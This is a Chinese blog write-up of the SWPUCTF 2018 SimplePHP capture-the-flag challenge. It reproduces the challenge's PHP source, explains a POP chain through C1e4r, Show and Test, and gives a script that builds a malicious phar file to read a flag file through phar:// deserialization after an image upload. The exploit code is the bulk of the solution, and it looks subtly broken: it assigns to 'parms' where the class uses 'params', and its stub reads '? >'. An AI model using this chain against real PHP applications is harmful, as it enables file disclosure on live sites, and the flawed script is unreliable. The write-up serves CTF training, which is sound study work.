[SWPUCTF 2018]SimplePHP

[SWPUCTF 2018]SimplePHP

知识点

1.PHP反序列化入门之phar

2.反序列化魔术方法

__construct()//当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep()//在对象在被序列化之前运行
__wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get()//获得一个类的成员变量时调用
__set()//设置一个类的成员变量时调用
__invoke()//调用函数的方式调用一个对象时的回应方法
__call()//当调用一个对象中的不能用的方法的时候就会执行这个函数

题解

打开题目后,常规性试探一波,发现“查看文件”时,出现了?file=,应该是存在文件包含了

得到file.php、function.php、class.php、base.php源码

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

class.php

 <?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?> 

base.php

<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

从以上源码中我们可以得到如下信息:

1.flag在f1ag.php中但是“f1ag”被过滤了

2.上传的文件类型采用白名单

3.所有源代码均没有出现unserialize(),所以不能采用常规反序列化。同时有注释出现了phar,且phar协议没被过滤,所以这题是PHP反序列化中的phar反序列化。

一步步解析

Show类

public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }

要触发__toString()我们需要当一个对象被当作一个字符串使用

同时

$content = $this->str['str']->source;

获得一个类的成员变量时调用get()

C1e4r类

public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }

在destruct()中存在echo能输出字符串来触发toString()

Test类

public function __get($key)
    {
        return $this->get($key);
    }

利用__get()触发file_get()最终触发file_get_contents()

梳理清楚pop链,构造exp:

<?php
class C1e4r
{
    public $test;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}
$clear = new C1e4r();
$show = new Show();
$test = new Test();
$test->parms['source'] ="/var/www/html/f1ag.php";
$clear->str = $show; //利用$this->test = $this->str;echo $this->test;
$show->str['str'] = $test; //利用$this->str['str']->source;

$phar = new Phar("rabbit.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($clear); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();

?>

在本地环境中生成phar文件(自己电脑也不知道什么问题一直生成不了,用学长的电脑就行)

本题没有对upload目录做处理可以直接访问,获取上传的文件名

图1

回到file.php页面

file.php/?file=phar://upload/xxxxxxxxxxxxxxxxxxx.jpg

得到base64加密内容

flag

base64解密得到flag.

posted @ 2020-07-13 20:15  Rabbittt  阅读(53)  评论(0编辑  收藏